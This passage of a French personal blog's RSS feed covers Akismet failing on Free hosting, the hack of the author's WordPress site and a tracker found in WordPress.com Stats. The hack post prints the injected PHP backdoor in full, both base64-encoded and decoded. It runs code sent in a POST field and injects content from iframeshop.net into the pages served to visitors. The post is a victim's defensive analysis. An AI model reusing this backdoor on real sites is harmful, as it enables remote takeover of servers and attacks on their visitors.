class=&#34;link&#34; href=&#34;./?p=3946&#34; &gt;L&amp;rsquo;obsolescence programmée&lt;/a&gt; : article publié en 2011, suite à un excellent reportage sur Arte, et rediffusé cette année.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;./?p=287&#34; &gt;Photos endommagées ? Photorec est là&lt;/a&gt; : article publié en 2006 !! manifestement toujours d&amp;rsquo;actualité : qui n&amp;rsquo;a pas d&amp;rsquo;appareil photo numérique aujourd&amp;rsquo;hui ? et accessoirement qui n&amp;rsquo;a pas rencontré un problème sur la carte mémoire pour récupérer les photos ?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Comme l&amp;rsquo;année dernière, le seul bouquin dans la liste est &lt;strong&gt;Tristes tropiques&lt;/strong&gt; de Claude Lévi-Strauss. Bon, s&amp;rsquo;il n&amp;rsquo;en reste qu&amp;rsquo;un, pourquoi pas celui-là ? Il est excellent.&lt;/p&gt;&#xA;&lt;p&gt;Et bien sûr meilleurs vœux pour cette nouvelle année 2013 à toutes et à tous passant sur ce blog !&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Akismet ne fonctionne plus chez Free</title>
            <link>https://pled.fr/akismet-ne-fonctioone-plus-chez-free/</link>
            <pubDate>Fri, 30 Mar 2012 17:52:50 +0000</pubDate>
            <guid>https://pled.fr/akismet-ne-fonctioone-plus-chez-free/</guid>
            <description>&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/wp-content/uploads/2012/03/akismet.png&#34; &gt;&lt;img alt=&#34;Akismet&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;601px&#34; data-flex-grow=&#34;250&#34; height=&#34;109&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/akismet-ne-fonctioone-plus-chez-free/akismet.png&#34; width=&#34;273&#34;&gt;&lt;/a&gt; Laisser les commentaires ouverts sur le blog, cela veut dire recevoir plein de spams.&lt;/p&gt;&#xA;&lt;p&gt;J&amp;rsquo;utilise pour le filtrage le plugin &lt;a class=&#34;link&#34; href=&#34;https://akismet.com/&#34;  title=&#34;le site Akismet&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Akismet&lt;/a&gt; qui fonctionne plutôt pas mal, qui est gratuit pour les particuliers, et fournit par défaut avec Wordpress.&lt;/p&gt;&#xA;&lt;p&gt;Le principe est simple : à chaque commentaire, il se connecte sur un de leurs serveurs pour une série de tests, et renvoie une réponse positive ou négative. Jusque là tout va bien.&lt;/p&gt;&#xA;&lt;p&gt;J&amp;rsquo;avais toutefois pas mal de confirmation à faire manuellement (une vingtaine par jour) : commentaires détectés comme suspects par Akismet, mais qui n&amp;rsquo;ont pas pu être vérifiés, probablement parce que le serveur n&amp;rsquo;a pas pu être contacté à ce moment là. Ce qui donne ce message dans le panneau d&amp;rsquo;admin wordpress :&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/wp-content/uploads/2012/03/akismet3.png&#34; &gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1338px&#34; data-flex-grow=&#34;557&#34; height=&#34;111&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/akismet-ne-fonctioone-plus-chez-free/akismet3.png&#34; width=&#34;619&#34;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Donc ce matin, j&amp;rsquo;ai voulu mettre à jour le plugin à la dernière version 2.5.5 (j&amp;rsquo;étais en 2.5.3) voyant qu&amp;rsquo;ils avaient amélioré cette partie :&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Add more checks on the scheduled re-check feature, force it to be no more than 20 minutes in the future.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Hélas, impossible de réactiver le plugin, et les spams commencent à tomber :&#xA;&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/wp-content/uploads/2012/03/spam.png&#34; &gt;&lt;img alt=&#34;commentaire&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;440px&#34; data-flex-grow=&#34;183&#34; height=&#34;116&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/akismet-ne-fonctioone-plus-chez-free/spam.png&#34; width=&#34;213&#34;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Il était urgent de faire quelque chose !&lt;/p&gt;&#xA;&lt;h3 id=&#34;le-problème&#34;&gt;Le problème&#xA;&lt;/h3&gt;&lt;p&gt;Voilà ce que me donnait la page de réglage d&amp;rsquo;Akismet :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;activation akismet&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;878px&#34; data-flex-grow=&#34;366&#34; height=&#34;115&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/akismet-ne-fonctioone-plus-chez-free/akismet1.png&#34; width=&#34;421&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Plus bas sur la page de réglage, c&amp;rsquo;est confirmé malgré plusieurs essais :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;akismet connexion serveurs&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;310px&#34; data-flex-grow=&#34;129&#34; height=&#34;328&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/akismet-ne-fonctioone-plus-chez-free/akismet2.png&#34; width=&#34;424&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Le blog étant hébergé chez Free, c&amp;rsquo;est donc apparemment Free qui bloque l&amp;rsquo;accès aux serveurs Akismet.&lt;/p&gt;&#xA;&lt;p&gt;Pour en savoir plus, petit tour du côté du Newsgroup &lt;strong&gt;proxad.free.services.pagesperso&lt;/strong&gt;, et  non seulement le problème est confirmé, mais il risque de durer. On peut y lire les commentaires suivants :&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Bonjour, en effet, les accès &amp;ldquo;externes&amp;rdquo; sont bloqué jusqu&amp;rsquo;à la mise en  place d&amp;rsquo;une nouvelle version de PHP par Yohan. Cela pourra durer quelques  mois. L&amp;rsquo;installation de Captcha comme Conditional Captcha serait  préférable.&lt;/p&gt;&#xA;&lt;p&gt;Il semble que certains  utilisateur du service aient trouver le moyen de contourner certaines  restrictions, crashant les serveurs gérant les accès php externes, qui  n&amp;rsquo;ont pas tenus malgré les réparations ; d&amp;rsquo;où le blocage des accès  externes jusqu&amp;rsquo;a ce qu&amp;rsquo;une nouvelle méthode soit implémentée.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Mais aussi :&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Vu les moyens qu&amp;rsquo;ils se donnent (chez Free), cela les arrangerait presque que les pages perso disparaissent. Ils les maintiennent tant bien que mal pour ne pas se faire de mauvaise pub et parce qu&amp;rsquo;ils ont trouvé une personne avec quatre bras pour s&amp;rsquo;en occuper.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Pas très encourageant tout cela&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Les solutions&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;La solution la plus simple est d&amp;rsquo;installer un plugin de &lt;strong&gt;captcha&lt;/strong&gt;, mais cela ajoute d&amp;rsquo;une part une contrainte au &amp;ldquo;commentateur&amp;rdquo;, et d&amp;rsquo;autre part ils deviennent difficiles à lire pour contrer des bots de plus en plus sophistiqués.&lt;/p&gt;&#xA;&lt;p&gt;Il y a bien le plugin &amp;ldquo;Conditional Captcha&amp;rdquo; comme mentionné sur le newsgroup de Free, moins contraignant, mais c&amp;rsquo;est une fausse piste dans ce cas précis:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;You must have Akismet installed and active in order for this plugin to work.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;J&amp;rsquo;avais trouvé il y a longtemps un plugin très efficace : &lt;strong&gt;WP-Spam free&lt;/strong&gt; (voir cet &lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=764&#34;  title=&#34;Anti-spam pour wordpress&#34;&#xA;    &gt;article&lt;/a&gt;) : hélas, il est un peu gourmand en mémoire, et les blogs chez Free étant plutôt limités de ce côté, j&amp;rsquo;ai donc du le retirer (voir cet &lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=3714&#34;  title=&#34;Mise à jour plugins&#34;&#xA;    &gt;article&lt;/a&gt;).&lt;/p&gt;&#xA;&lt;p&gt;Pour éviter les captchas, je viens d&amp;rsquo;installer &lt;a class=&#34;link&#34; href=&#34;https://wordpress.org/extend/plugins/cookies-for-comments/&#34;  title=&#34;le plugin \&amp;#34;Cookies for comment\&amp;#34; sur wordpress.org&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Cookies for Comments&lt;/a&gt;, un plugin qui utilise une autre méthode pour contrer les spams : un feuille de style générée aléatoirement est ajoutée au blog, qui va installer un cookie dans le navigateur du visiteur. Si ce dernier veut poster un commentaire, ce cookie doit être actif.&lt;/p&gt;&#xA;&lt;p&gt;Nous avons tous (j&amp;rsquo;imagine) les cookies autorisés dans nos navigateurs (j&amp;rsquo;ai fait l&amp;rsquo;expérience d&amp;rsquo;interdire les cookies, la navigation sur le web devient vraiment compliquée). Voyons voir ce que ce plugin donne.. et attendons que Free régle ses problèmes.&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Attaque de type eval(base64_decode) sur le blog</title>
            <link>https://pled.fr/attaque-de-type-evalbase64_decode-sur-le-blog/</link>
            <pubDate>Sun, 26 Feb 2012 11:30:00 +0000</pubDate>
            <guid>https://pled.fr/attaque-de-type-evalbase64_decode-sur-le-blog/</guid>
            <description>&lt;p&gt;Hier matin, le blog affichait en haut de page un beau message d&amp;rsquo;erreur. C&amp;rsquo;est Merlinux qui m&amp;rsquo;a prévenu par mail, car de mon côté tout était normal, alors que lui voyait le message suivant :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;accès au blog impossible&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;547px&#34; data-flex-grow=&#34;227&#34; height=&#34;197&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/attaque-de-type-evalbase64_decode-sur-le-blog/accesinterdit.png&#34; width=&#34;449&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Après quelques vérifications, je me suis alors rendu compte que le fichier index.php (à la racine du site ET à la racine de wordpress) avaient été modifiés et comprenaient l&amp;rsquo;instruction suivante :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;?&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;php&lt;/span&gt; &lt;span style=&#34;color:#75715e&#34;&gt;/*68066*/&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;error_reporting&lt;/span&gt;(&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;); &lt;span style=&#34;color:#f92672&#34;&gt;@&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;ini_set&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;error_log&amp;#39;&lt;/span&gt;,&lt;span style=&#34;color:#66d9ef&#34;&gt;NULL&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;@&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;ini_set&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;log_errors&amp;#39;&lt;/span&gt;,&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;); &lt;span style=&#34;color:#f92672&#34;&gt;@&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;ini_set&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;display_errors&amp;#39;&lt;/span&gt;,&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;Off&amp;#39;&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;@&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;eval&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;base64_decode&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;ZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pd&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;CgwKTsKaWYgKGlzc2V0KCRfUE9TVFsnY29va2llc19pJ10pKSB7ZXZhbChiYXNlNjR&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;fZGVjb2RlKCRfUE9TVFsnY29va2llc19pJ10pKTt9CiR6Mzc9InN0YXRzIjsKJHVhM&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;z0kX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl07CiR1MzcgPSBhcnJheSgiR29vZ2x&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;lIiwgIlNsdXJwIiwgIk1TTkJvdCIsICJpYV9hcmNoaXZlciIsICJZYW5kZXgiLCAiU&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;mFtYmxlciIsICJNYWMiKTsKaWYoKHByZWdfbWF0Y2goIi8iIC4gaW1wbG9kZSgifCI&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;sICR1MzcpIC4gIi9pIiwgJHVhMykpIG9yIChpc3NldCgkX1NFUlZFUlsiSFRUUF9VU&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;0VSX0FHRU5UIl0pID09MCkgb3IgKGlzc2V0KCRfU0VSVkVSWyJIVFRQX0NPT0tJRSJ&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;dKSkpCnt9CmVsc2UKewpAc2V0Y29va2llKCR6MzcsbWQ1KCJzdGF0cyIpLHRpbWUoK&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;SsxNzI4MDApOwokaWQ9IjlvOGFhODhsOGVqaTEycmpmNWtva2VteGZ5amx6MXQiOwo&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;kdXJsPSJodHRwOi8vaWZyYW1lc2hvcC5uZXQvc3RpLnBocD9pZD0iLiRpZDsKJGlmc&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;mFtZT1AZmlsZV9nZXRfY29udGVudHMgKCR1cmwpOwppZiAoJGlmcmFtZSkgZWNobyg&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;kaWZyYW1lKTsgCn0K&amp;#39;&lt;/span&gt;));&lt;span style=&#34;color:#75715e&#34;&gt;/*68066*/&lt;/span&gt; &lt;span style=&#34;color:#75715e&#34;&gt;?&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Mais qu&amp;rsquo;est-ce que ça veut dire ? Pour décoder tout ça, il suffit d&amp;rsquo;aller sur ce &lt;a class=&#34;link&#34; href=&#34;http://www.motobit.com/util/base64-decoder-encoder.asp&#34;  title=&#34;site web base64 decoder/encoder &#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;site&lt;/a&gt; et d&amp;rsquo;y entrer le contenu de la chaîne codée. Et on y retrouve bien l&amp;rsquo;URL du message d&amp;rsquo;erreur :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;error_reporting&lt;/span&gt;(&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;); &lt;span style=&#34;color:#a6e22e&#34;&gt;set_time_limit&lt;/span&gt;(&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#a6e22e&#34;&gt;isset&lt;/span&gt;($_POST[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;cookies_i&amp;#39;&lt;/span&gt;])) {&lt;span style=&#34;color:#66d9ef&#34;&gt;eval&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;base64_decode&lt;/span&gt;($_POST[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;cookies_i&amp;#39;&lt;/span&gt;]));} $z37&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;stats&amp;#34;&lt;/span&gt;; $ua3&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;$_SERVER[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;HTTP_USER_AGENT&amp;#34;&lt;/span&gt;];&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$u37 &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;array&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Google&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Slurp&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;MSNBot&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;ia_archiver&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Yandex&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Rambler&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Mac&amp;#34;&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt;((&lt;span style=&#34;color:#a6e22e&#34;&gt;preg_match&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;/&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;implode&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;|&amp;#34;&lt;/span&gt;, $u37) &lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;/i&amp;#34;&lt;/span&gt;, $ua3)) &lt;span style=&#34;color:#66d9ef&#34;&gt;or&lt;/span&gt; (&lt;span style=&#34;color:#a6e22e&#34;&gt;isset&lt;/span&gt;($_SERVER[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;HTTP_USER_AGENT&amp;#34;&lt;/span&gt;]) &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;) &lt;span style=&#34;color:#66d9ef&#34;&gt;or&lt;/span&gt; (&lt;span style=&#34;color:#a6e22e&#34;&gt;isset&lt;/span&gt;($_SERVER[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;HTTP_COOKIE&amp;#34;&lt;/span&gt;]))) {} &lt;span style=&#34;color:#66d9ef&#34;&gt;else&lt;/span&gt; { &lt;span style=&#34;color:#f92672&#34;&gt;@&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;setcookie&lt;/span&gt;($z37,&lt;span style=&#34;color:#a6e22e&#34;&gt;md5&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;stats&amp;#34;&lt;/span&gt;),&lt;span style=&#34;color:#a6e22e&#34;&gt;time&lt;/span&gt;()&lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;172800&lt;/span&gt;); $id&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;9o8aa88l8eji12rjf5kokemxfyjlz1t&amp;#34;&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$url&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;http://iframeshop.net/sti.php?id=&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;$id; $iframe&lt;span style=&#34;color:#f92672&#34;&gt;=@&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;file_get_contents&lt;/span&gt; ($url);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; ($iframe) &lt;span style=&#34;color:#66d9ef&#34;&gt;echo&lt;/span&gt;($iframe); }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Bon, en gros cela injecte une iframe dans ma page (une page dans la page). Pour quoi faire je n&amp;rsquo;en sais rien, peut-être simplement afficher de la publicité, ou pire installer un malware sur le PC ? En tout cas des petits malins qui ont probablement exploité une faille de sécurité.&lt;/p&gt;&#xA;&lt;p&gt;Bon j&amp;rsquo;ai nettoyé les deux fichiers, changé le mot de passe FTP, tout est rentré dans l&amp;rsquo;ordre. Pas sûr que cela soit suffisant, il est possible que cela revienne si c&amp;rsquo;est une faille de sécurité de Wordpress (v3.2.1). C&amp;rsquo;est peut-être aussi le serveur de Free qui n&amp;rsquo;est pas assez sécurisé, autorisant ce genre &amp;ldquo;d&amp;rsquo;exploit&amp;rdquo;. Free est pourtant assez restrictif pour sécuriser leurs serveurs&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;Bref, on voit toute la difficulté de se protéger contre les attaques de ce genre. Attendons de voir la suite, pour l&amp;rsquo;instant tout va bien, les fichiers n&amp;rsquo;ont pas été réinfectés. Je vais les surveiller pendant quelques jours pour m&amp;rsquo;en assurer.&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Un traqueur dans Wordpress.com stats</title>
            <link>https://pled.fr/un-traqueur-dans-wordpress-com-stats/</link>
            <pubDate>Sat, 21 Jan 2012 19:03:01 +0000</pubDate>
            <guid>https://pled.fr/un-traqueur-dans-wordpress-com-stats/</guid>
            <description>&lt;p&gt;&lt;img alt=&#34;ghostery&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;ghostery1.png#floatleft&#34;&gt; Début janvier, j&amp;rsquo;ai publié les stats du blog, obtenues à l&amp;rsquo;aide du plugin &lt;a class=&#34;link&#34; href=&#34;http://wordpress.org/extend/plugins/stats/&#34;  title=&#34;le plugin Wordpress.com Stats sur Wordpress.org&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Wordpress.com Stats&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Un commentaire de &lt;strong&gt;Merlinux&lt;/strong&gt; me demande alors des infos sur ce plugin ; je lui répond bien volontiers, et voilà qu&amp;rsquo;après avoir fait ses propres recherches, il m&amp;rsquo;informe que ce plugin envoie des infos chez Quantcast.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Quantcast&lt;/strong&gt; est un service web de statistiques destinés aux annonceurs et commerçants. Il collecte des informations et les fournit pour une publicité ciblée.&lt;/p&gt;&#xA;&lt;p&gt;J&amp;rsquo;étais très surpris, persuadé que la politique de confidentialité de Wordpress était satisfaisante, et d&amp;rsquo;autre part n&amp;rsquo;ayant jamais vu aucune mention de ce traqueur intégré dans le plugin.&lt;/p&gt;&#xA;&lt;p&gt;Évidemment, je ne veux pas de genre de trucs sur mon blog : pas de pub, pas de bouton genre Facebook et plus généralement pas de traçage&amp;hellip; j&amp;rsquo;avais d&amp;rsquo;ailleurs &lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=3858&#34;  title=&#34;article \&amp;#34;Adieu Google Analytics\&amp;#34;&#34;&#xA;    &gt;retiré Google Analytics&lt;/a&gt; il y a un an lorsque j&amp;rsquo;avais réalisé qu&amp;rsquo;ils utilisaient les données collectées.&lt;/p&gt;&#xA;&lt;p&gt;Le lendemain, je regarde ça du boulot où j&amp;rsquo;avais installé une extension Firefox appelée &lt;a class=&#34;link&#34; href=&#34;http://www.ghostery.com/&#34;  title=&#34;le site de ghostery&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Ghostery&lt;/a&gt;. Cette extension détecte les traqueurs, vous informe sur la société en question, et vous permet de les bloquer. Le résultat est clair, on retrouve bien Wordpress Stats et Quantcast, parfaitement identifiés par l&amp;rsquo;extension :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;Ghostery résultat 1&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1196px&#34; data-flex-grow=&#34;498&#34; height=&#34;78&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/un-traqueur-dans-wordpress-com-stats/tracker1.png&#34; width=&#34;389&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;De retour à la maison (et oui, faut quand même que je bosse), je continue mes recherches, et trouve cette &lt;a class=&#34;link&#34; href=&#34;http://www.techairlines.com/2010/12/30/wordpress-stats-quantcast/&#34;  title=&#34;WordPress.com Stats Quietly Includes Quantcast&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;article&lt;/a&gt; de Brian Yang (en anglais) qui explique toute l&amp;rsquo;histoire, insistant sur le fait que nulle part n&amp;rsquo;est fait mention par Wordpresss.com de 